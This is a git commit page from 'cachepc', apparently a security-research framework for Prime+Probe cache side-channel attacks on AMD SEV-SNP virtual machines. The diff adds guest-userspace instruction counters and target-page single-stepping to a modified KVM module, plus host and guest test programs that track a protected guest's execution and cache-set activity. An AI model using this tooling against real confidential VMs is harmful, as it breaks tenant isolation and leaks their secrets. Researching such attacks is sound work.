cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

commit 8d018c17170a3b623f48de5282955b817a6284f3
parent 4dd9fe04e1399e8629ab2a98b54db6a7dcdb0076
Author: Louis Burda <quent.burda@gmail.com>
Date:   Mon,  6 Feb 2023 11:30:27 -0600

qemu-targetstep: Attempt to track guest process gfn when running in userspace

Seems like single-stepping the guest with LAPIC influences the guest scheduler behaviour, since just a single step inside the target gfn (to determine if its running in userspace), is enough to for us to never reach the GUEST_STOP_TRACK event. FWICT the single-stepping is not frequent and does not take long enough to justify never reaching the stop event.

Diffstat:
MMakefile | 2+-
Mcachepc/cachepc.h | 9+++++++++
Mcachepc/const.h | 1+
Mcachepc/event.c | 5++++-
Mcachepc/event.h | 3++-
Mcachepc/kvm.c | 9+++++++++
Mcachepc/macro.S | 1+
Mcachepc/uapi.h | 3+++
Mtest/.gitignore | 4++--
Dtest/qemu-eviction.c | 231-------------------------------------------------------------------------------
Dtest/qemu-eviction_guest.c | 45---------------------------------------------
Atest/qemu-targetstep.c | 247+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Atest/qemu-targetstep_guest.c | 50++++++++++++++++++++++++++++++++++++++++++++++++++
13 files changed, 329 insertions(+), 281 deletions(-)

diff --git a/Makefile b/Makefile @@ -11,7 +11,7 @@ BINS += test/kvm-step test/kvm-step_guest BINS += test/kvm-targetstep test/kvm-targetstep_guest BINS += test/kvm-pagestep test/kvm-pagestep_guest BINS += test/qemu-pagestep -BINS += test/qemu-eviction test/qemu-eviction_guest +BINS += test/qemu-targetstep test/qemu-targetstep_guest # BINS += test/qemu-aes_guest test/qemu-aes BINS += util/loglevel util/reset util/mainpfn diff --git a/cachepc/cachepc.h b/cachepc/cachepc.h @@ -44,21 +44,29 @@ struct cpc_fault { struct cpc_track_pages { bool singlestep_resolve; uint64_t retinst; + uint64_t retinst_user; bool in_step; bool prev_avail; uint64_t prev_gfn; + uint16_t prev_err; + bool cur_avail; uint64_t cur_gfn; + uint16_t cur_err; + bool next_avail; uint64_t next_gfn; + uint16_t next_err; }; struct cpc_track_steps { bool with_data; bool use_target; + bool target_user; uint64_t target_gfn; bool stepping; + bool in_target; bool use_filter; }; @@ -118,6 +126,7 @@ extern uint64_t cpc_track_start_gfn; extern uint64_t cpc_track_end_gfn; extern uint64_t cpc_retinst; +extern uint64_t cpc_retinst_user; extern uint64_t cpc_retinst_prev; extern uint64_t cpc_rip; diff --git a/cachepc/const.h b/cachepc/const.h @@ -10,6 +10,7 @@ #define CPC_L1MISS_PMC 0 #define CPC_RETINST_PMC 1 +#define CPC_RETINST_USER_PMC 2 #define CPC_VMSA_MAGIC_ADDR ((void *) 0xC0FFEE) diff --git a/cachepc/event.c b/cachepc/event.c @@ -158,14 +158,17 @@ cpc_send_track_step_event(struct list_head *list) } int -cpc_send_track_page_event(uint64_t gfn_prev, uint64_t gfn, uint64_t retinst) +cpc_send_track_page_event(uint64_t gfn_prev, uint64_t gfn, uint16_t err, + uint64_t retinst, uint64_t retinst_user) { struct cpc_event event = { 0 }; event.type = CPC_EVENT_TRACK_PAGE; event.page.inst_gfn_prev = gfn_prev; event.page.inst_gfn = gfn; + event.page.fault_err = err; event.page.retinst = retinst; + event.page.retinst_user = retinst_user; return cpc_send_event(event); } diff --git a/cachepc/event.h b/cachepc/event.h @@ -19,7 +19,8 @@ int cpc_send_guest_event(uint64_t type, uint64_t val); int cpc_send_pause_event(void); int cpc_send_track_step_event(struct list_head *list); int cpc_send_track_step_event_single(uint64_t gfn, uint32_t err, uint64_t retinst); -int cpc_send_track_page_event(uint64_t gfn_prev, uint64_t gfn, uint64_t retinst); +int cpc_send_track_page_event(uint64_t gfn_prev, uint64_t gfn, uint16_t err, + uint64_t retinst, uint64_t retinst_user); bool cpc_event_is_done(void); diff --git a/cachepc/kvm.c b/cachepc/kvm.c @@ -41,8 +41,10 @@ bool cpc_prime_probe = false; EXPORT_SYMBOL(cpc_prime_probe); uint64_t cpc_retinst = 0; +uint64_t cpc_retinst_user = 0; uint64_t cpc_retinst_prev = 0; EXPORT_SYMBOL(cpc_retinst); +EXPORT_SYMBOL(cpc_retinst_user); EXPORT_SYMBOL(cpc_retinst_prev); uint64_t cpc_rip = 0; @@ -244,6 +246,10 @@ cpc_pmc_setup(void *p) /* retired instructions in guest */ cpc_init_pmc(CPC_RETINST_PMC, 0xC0, 0x00, PMC_GUEST, PMC_KERNEL | PMC_USER); + + /* retired instructions in guest userspace */ + cpc_init_pmc(CPC_RETINST_USER_PMC, 0xC0, 0x00, + PMC_GUEST, PMC_USER); } void @@ -510,9 +516,11 @@ cpc_track_mode_ioctl(void __user *arg_user) break; case CPC_TRACK_STEPS: cpc_track_steps.use_target = cfg.steps.use_target; + cpc_track_steps.target_user = cfg.steps.target_user; cpc_track_steps.target_gfn = cfg.steps.target_gfn; cpc_track_steps.with_data = cfg.steps.with_data; cpc_track_steps.use_filter = cfg.steps.use_filter; + cpc_track_steps.in_target = false; if (!cpc_track_steps.use_target && cpc_track_steps.with_data) { cpc_track_all(vcpu, KVM_PAGE_TRACK_ACCESS); @@ -705,6 +713,7 @@ cpc_kvm_init(void) cpc_ds_ul = NULL; cpc_retinst = 0; + cpc_retinst_user = 0; cpc_long_step = false; cpc_singlestep = false; cpc_singlestep_reset = false; diff --git a/cachepc/macro.S b/cachepc/macro.S @@ -4,6 +4,7 @@ .macro barrier mfence # finish load and stores lfence # prevent reordering + rdtsc # prevent reordering .endm # clobbers rax, rbx, rcx, rdx, (out) diff --git a/cachepc/uapi.h b/cachepc/uapi.h @@ -63,6 +63,7 @@ struct cpc_track_cfg { union { struct { __u64 target_gfn; + __u8 target_user; __u8 use_target; __u8 use_filter; __u8 with_data; @@ -84,7 +85,9 @@ struct cpc_track_step_event { struct cpc_track_page_event { __u64 inst_gfn_prev; __u64 inst_gfn; + __u16 fault_err; __u64 retinst; + __u64 retinst_user; }; struct cpc_guest_event { diff --git a/test/.gitignore b/test/.gitignore @@ -7,10 +7,10 @@ kvm-step kvm-step_guest kvm-pagestep kvm-pagestep_guest -qemu-eviction -qemu-eviction_guest qemu-pagestep qemu-aes qemu-aes_guest qemu-poc qemu-poc_guest +qemu-targetstep +qemu-targetstep_guest diff --git a/test/qemu-eviction.c b/test/qemu-eviction.c @@ -1,231 +0,0 @@ -#include "test/kvm-eviction.h" -#include "test/kvm.h" -#include "test/util.h" -#include "cachepc/uapi.h" - -#include <sys/ioctl.h> -#include <sys/mman.h> -#include <signal.h> -#include <unistd.h> -#include <fcntl.h> -#include <errno.h> -#include <err.h> -#include <string.h> -#include <stdbool.h> -#include <stdio.h> -#include <stdlib.h> - -static struct cpc_event event; -static struct cpc_event_batch batch; - -int -monitor(bool baseline) -{ - uint8_t counts[L1_SETS]; - int ret; - - ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); - if (ret && errno == EAGAIN) return 0; - if (ret) err(1, "KVM_CPC_POLL_EVENT"); - - switch (event.type) { - case CPC_EVENT_GUEST: - printf("Guest event: %i\n", event.guest.type); - if (event.guest.type == CPC_GUEST_STOP_TRACK) - return 2; - break; - case CPC_EVENT_TRACK_STEP: - ret = ioctl(kvm_dev, KVM_CPC_READ_COUNTS, counts); - if (ret) err(1, "KVM_CPC_READ_COUNTS"); - - printf("Event: rip:%016llx cnt:%llu " - "inst:%08llx ret:%llu\n", - vm_get_rip(), event.step.fault_count, - event.step.inst_gfn, event.step.retinst); - print_counts(counts); - printf("\n"); - print_counts_raw(counts); - printf("\n"); - break; - default: - errx(1, "unexpected event type %i", event.type); - } - - ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); - if (ret) err(1, "KVM_CPC_ACK_EVENT"); - - return 1; -} - -void -read_batch(void) -{ - uint32_t i; - int ret; - - ret = ioctl(kvm_dev, KVM_CPC_READ_BATCH, &batch); - if (ret && errno == EAGAIN) return; - if (ret && errno != EAGAIN) err(1, "KVM_CPC_READ_BATCH"); - - for (i = 0; i < batch.cnt; i++) { - if (batch.buf[i].type != CPC_EVENT_TRACK_PAGE) - continue; - - printf("GFN %08llx\n", batch.buf[i].page.inst_gfn); - } -} - -void -reset(int sig) -{ - int ret; - - ret = ioctl(kvm_dev, KVM_CPC_RESET); - if (ret) err(1, "KVM_CPC_RESET"); - - exit(1); -} - -int -main(int argc, const char **argv) -{ - uint8_t baseline[L1_SETS]; - struct cpc_track_cfg cfg; - bool first_guest_event; - uint32_t eventcnt; - uint32_t arg; - int ret; - - pin_process(0, SECONDARY_CORE, true); - - setvbuf(stdout, NULL, _IONBF, 0); - - kvm_setup_init(); - - ret = ioctl(kvm_dev, KVM_CPC_RESET); - if (ret) err(1, "KVM_CPC_RESET"); - - signal(SIGINT, reset); - - arg = true; - ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg); - if (ret) err(1, "KVM_CPC_CALC_BASELINE"); - - memset(&cfg, 0, sizeof(cfg)); - cfg.mode = CPC_TRACK_STEPS; - cfg.steps.with_data = true; - cfg.steps.use_filter = true; - ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); - if (ret) err(1, "KVM_CPC_RESET"); - - eventcnt = 0; - while (eventcnt < 50) { - eventcnt += monitor(true); - } - - ret = ioctl(kvm_dev, KVM_CPC_VM_REQ_PAUSE); - if (ret) err(1, "KVM_CPC_VM_REQ_PAUSE"); - - while (1) { - ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); - if (ret && errno == EAGAIN) continue; - if (ret) err(1, "KVM_CPC_POLL_EVENT"); - - if (event.type == CPC_EVENT_PAUSE) break; - - ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); - if (ret) err(1, "KVM_CPC_ACK_EVENT"); - } - - arg = false; - ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg); - if (ret) err(1, "KVM_CPC_CALC_BASELINE"); - - arg = true; - ret = ioctl(kvm_dev, KVM_CPC_APPLY_BASELINE, &arg); - if (ret) err(1, "KVM_CPC_APPLY_BASELINE"); - - ret = ioctl(kvm_dev, KVM_CPC_READ_BASELINE, baseline); - if (ret) err(1, "KVM_CPC_READ_BASELINE"); - - printf("\nBaseline:\n"); - print_counts(baseline); - printf("\n"); - print_counts_raw(baseline); - printf("\n\n"); - - memset(&cfg, 0, sizeof(&cfg)); - cfg.mode = CPC_TRACK_NONE; - ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); - if (ret) err(1, "KVM_CPC_TRACK_MODE"); - - ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); - if (ret) err(1, "KVM_CPC_ACK_EVENT"); - - /* wait until guest program is run */ - printf("Press enter to continue..\n"); - getchar(); - - arg = true; - ret = ioctl(kvm_dev, KVM_CPC_BATCH_EVENTS, &arg); - if (ret) err(1, "KVM_CPC_BATCH_EVENTS"); - - memset(&cfg, 0, sizeof(cfg)); - cfg.mode = CPC_TRACK_PAGES; - ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); - if (ret) err(1, "KVM_CPC_TRACK_MODE"); - - batch.cnt = 0; - batch.maxcnt = CPC_EVENT_BATCH_MAX; - batch.buf = malloc(sizeof(struct cpc_event) * batch.maxcnt); - if (!batch.buf) err(1, "malloc"); - - first_guest_event = true; - while (1) { - ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); - if (ret && errno == EAGAIN) continue; - if (ret) err(1, "KVM_CPC_POLL_EVENT"); - - printf("EVENT %i\n", event.type); - - if (event.type == CPC_EVENT_GUEST - && event.guest.type == CPC_GUEST_START_TRACK) { - if (!first_guest_event) - break; - first_guest_event = false; - } - - if (event.type == CPC_EVENT_BATCH) - read_batch(); - - ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); - if (ret) err(1, "KVM_CPC_ACK_EVENT"); - } - - read_batch(); - - if (!batch.cnt) errx(1, "empty batch buffer"); - memset(&cfg, 0, sizeof(cfg)); - cfg.mode = CPC_TRACK_STEPS; - cfg.steps.target_gfn = batch.buf[batch.cnt - 3].page.inst_gfn; - cfg.steps.use_target = true; - cfg.steps.use_filter = true; - cfg.steps.with_data = true; - ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); - if (ret) err(1, "KVM_CPC_TRACK_MODE"); - - ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); - if (ret) err(1, "KVM_CPC_ACK_EVENT"); - - while (monitor(false) != 2); - - signal(SIGINT, NULL); - - ret = ioctl(kvm_dev, KVM_CPC_RESET); - if (ret) err(1, "KVM_CPC_RESET"); - - free(batch.buf); - - kvm_setup_deinit(); -} - diff --git a/test/qemu-eviction_guest.c b/test/qemu-eviction_guest.c @@ -1,45 +0,0 @@ -#include "cachepc/uapi.h" - -#include <sys/time.h> -#include <sys/resource.h> -#include <err.h> -#include <unistd.h> -#include <stdint.h> -#include <string.h> -#include <stdio.h> -#include <stdlib.h> - -int -main(int argc, const char **argv) -{ - void *buf; - - buf = NULL; - if (posix_memalign(&buf, L1_LINESIZE * L1_SETS, L1_LINESIZE * L1_SETS)) - err(1, "memalign"); - memset(buf, 0, L1_LINESIZE * L1_SETS); - - setpriority(PRIO_PROCESS, 0, -20); - - while (1) { - printf("LOOP\n"); - CPC_DO_VMMCALL(KVM_HC_CPC_VMMCALL_SIGNAL, - CPC_GUEST_START_TRACK, 0); - *(uint8_t *)(buf + L1_LINESIZE * 9) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 10) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 11) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 12) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 13) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 14) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 15) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 9) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 10) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 11) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 12) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 13) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 14) = 1; - *(uint8_t *)(buf + L1_LINESIZE * 15) = 1; - CPC_DO_VMMCALL(KVM_HC_CPC_VMMCALL_SIGNAL, - CPC_GUEST_STOP_TRACK, 0); - } -} diff --git a/test/qemu-targetstep.c b/test/qemu-targetstep.c @@ -0,0 +1,247 @@ +#include "test/kvm-eviction.h" +#include "test/kvm.h" +#include "test/util.h" +#include "cachepc/uapi.h" + +#include <sys/ioctl.h> +#include <sys/mman.h> +#include <signal.h> +#include <unistd.h> +#include <fcntl.h> +#include <errno.h> +#include <err.h> +#include <string.h> +#include <stdbool.h> +#include <stdio.h> +#include <stdlib.h> + +static struct cpc_event event; +static struct cpc_event_batch batch; +static uint64_t last_user_inst_gfn; + +int +monitor(bool baseline) +{ + uint8_t counts[L1_SETS]; + int ret; + + ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); + if (ret && errno == EAGAIN) return 0; + if (ret) err(1, "KVM_CPC_POLL_EVENT"); + + switch (event.type) { + case CPC_EVENT_GUEST: + printf("Guest %s\n", !event.guest.type ? "start" : "stop"); + if (event.guest.type == CPC_GUEST_STOP_TRACK) + return 2; + break; + case CPC_EVENT_TRACK_STEP: + ret = ioctl(kvm_dev, KVM_CPC_READ_COUNTS, counts); + if (ret) err(1, "KVM_CPC_READ_COUNTS"); + + printf("Event: rip:%016llx cnt:%llu " + "inst:%08llx ret:%llu\n", + vm_get_rip(), event.step.fault_count, + event.step.inst_gfn, event.step.retinst); + print_counts(counts); + printf("\n"); + print_counts_raw(counts); + printf("\n"); + break; + default: + errx(1, "unexpected event type %i", event.type); + } + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + + return 1; +} + +void +read_batch(void) +{ + uint32_t i; + int ret; + + ret = ioctl(kvm_dev, KVM_CPC_READ_BATCH, &batch); + if (ret && errno == EAGAIN) return; + if (ret && errno != EAGAIN) err(1, "KVM_CPC_READ_BATCH"); + + for (i = 0; i < batch.cnt; i++) { + if (batch.buf[i].type != CPC_EVENT_TRACK_PAGE) + continue; + + if (batch.buf[i].page.retinst_user > 0) { + printf("GFN %08llx %04x %4llu %4llu\n", + batch.buf[i].page.inst_gfn, + batch.buf[i].page.fault_err, + batch.buf[i].page.retinst, + batch.buf[i].page.retinst_user); + last_user_inst_gfn = batch.buf[i].page.inst_gfn; + } + } +} + +void +reset(int sig) +{ + int ret; + + ret = ioctl(kvm_dev, KVM_CPC_RESET); + if (ret) err(1, "KVM_CPC_RESET"); + + exit(1); +} + +int +main(int argc, const char **argv) +{ + uint8_t baseline[L1_SETS]; + struct cpc_track_cfg cfg; + bool first_guest_event; + uint32_t eventcnt; + uint32_t arg; + int ret; + + pin_process(0, SECONDARY_CORE, true); + + setvbuf(stdout, NULL, _IONBF, 0); + + kvm_setup_init(); + + ret = ioctl(kvm_dev, KVM_CPC_RESET); + if (ret) err(1, "KVM_CPC_RESET"); + + signal(SIGINT, reset); + + arg = true; + ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg); + if (ret) err(1, "KVM_CPC_CALC_BASELINE"); + + memset(&cfg, 0, sizeof(cfg)); + cfg.mode = CPC_TRACK_STEPS; + cfg.steps.with_data = true; + cfg.steps.use_filter = true; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_RESET"); + + eventcnt = 0; + while (eventcnt < 50) { + eventcnt += monitor(true); + } + + ret = ioctl(kvm_dev, KVM_CPC_VM_REQ_PAUSE); + if (ret) err(1, "KVM_CPC_VM_REQ_PAUSE"); + + while (1) { + ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); + if (ret && errno == EAGAIN) continue; + if (ret) err(1, "KVM_CPC_POLL_EVENT"); + + if (event.type == CPC_EVENT_PAUSE) break; + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + } + + arg = false; + ret = ioctl(kvm_dev, KVM_CPC_CALC_BASELINE, &arg); + if (ret) err(1, "KVM_CPC_CALC_BASELINE"); + + arg = true; + ret = ioctl(kvm_dev, KVM_CPC_APPLY_BASELINE, &arg); + if (ret) err(1, "KVM_CPC_APPLY_BASELINE"); + + ret = ioctl(kvm_dev, KVM_CPC_READ_BASELINE, baseline); + if (ret) err(1, "KVM_CPC_READ_BASELINE"); + + printf("\nBaseline:\n"); + print_counts(baseline); + printf("\n"); + print_counts_raw(baseline); + printf("\n\n"); + + memset(&cfg, 0, sizeof(&cfg)); + cfg.mode = CPC_TRACK_NONE; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + + /* wait until guest program is run */ + printf("Press enter to continue..\n"); + getchar(); + + arg = true; + ret = ioctl(kvm_dev, KVM_CPC_BATCH_EVENTS, &arg); + if (ret) err(1, "KVM_CPC_BATCH_EVENTS"); + + memset(&cfg, 0, sizeof(cfg)); + cfg.mode = CPC_TRACK_PAGES; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + batch.cnt = 0; + batch.maxcnt = CPC_EVENT_BATCH_MAX; + batch.buf = malloc(sizeof(struct cpc_event) * batch.maxcnt); + if (!batch.buf) err(1, "malloc"); + + first_guest_event = true; + while (1) { + ret = ioctl(kvm_dev, KVM_CPC_POLL_EVENT, &event); + if (ret && errno == EAGAIN) continue; + if (ret) err(1, "KVM_CPC_POLL_EVENT"); + + if (event.type == CPC_EVENT_GUEST) { + read_batch(); + printf("Guest %s\n", + !event.guest.type ? "start" : "stop"); + } + + if (event.type == CPC_EVENT_GUEST + && event.guest.type == CPC_GUEST_START_TRACK) { + if (!first_guest_event) + break; + first_guest_event = false; + } + + if (event.type == CPC_EVENT_BATCH) + read_batch(); + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + } + + read_batch(); + + if (!batch.cnt) errx(1, "empty batch buffer"); + memset(&cfg, 0, sizeof(cfg)); + cfg.mode = CPC_TRACK_STEPS; + cfg.steps.target_gfn = last_user_inst_gfn; + cfg.steps.target_user = true; + cfg.steps.use_target = true; + cfg.steps.use_filter = true; + //cfg.steps.with_data = true; + ret = ioctl(kvm_dev, KVM_CPC_TRACK_MODE, &cfg); + if (ret) err(1, "KVM_CPC_TRACK_MODE"); + + ret = ioctl(kvm_dev, KVM_CPC_ACK_EVENT, &event.id); + if (ret) err(1, "KVM_CPC_ACK_EVENT"); + + printf("Target GFN: %08llx\n", cfg.steps.target_gfn); + + while (monitor(false) != 2); + read_batch(); + + signal(SIGINT, NULL); + + ret = ioctl(kvm_dev, KVM_CPC_RESET); + if (ret) err(1, "KVM_CPC_RESET"); + + free(batch.buf); + + kvm_setup_deinit(); +} + diff --git a/test/qemu-targetstep_guest.c b/test/qemu-targetstep_guest.c @@ -0,0 +1,50 @@ +#include "cachepc/uapi.h" + +#include <sys/time.h> +#include <sys/resource.h> +#include <errno.h> +#include <err.h> +#include <unistd.h> +#include <stdint.h> +#include <string.h> +#include <stdio.h> +#include <stdlib.h> + +int +main(int argc, const char **argv) +{ + void *buf; + int ret; + + buf = NULL; + if (posix_memalign(&buf, L1_LINESIZE * L1_SETS, L1_LINESIZE * L1_SETS)) + err(1, "memalign"); + memset(buf, 0, L1_LINESIZE * L1_SETS); + + errno = 0; + ret = setpriority(PRIO_PROCESS, 0, -20); + if (errno) err(1, "setpriority"); + printf("NICE %i\n", ret); + + while (1) { + printf("LOOP\n"); + CPC_DO_VMMCALL(KVM_HC_CPC_VMMCALL_SIGNAL, + CPC_GUEST_START_TRACK, 0); + *(uint8_t *)(buf + L1_LINESIZE * 9) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 10) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 11) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 12) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 13) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 14) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 15) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 9) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 10) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 11) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 12) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 13) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 14) = 1; + *(uint8_t *)(buf + L1_LINESIZE * 15) = 1; + CPC_DO_VMMCALL(KVM_HC_CPC_VMMCALL_SIGNAL, + CPC_GUEST_STOP_TRACK, 0); + } +}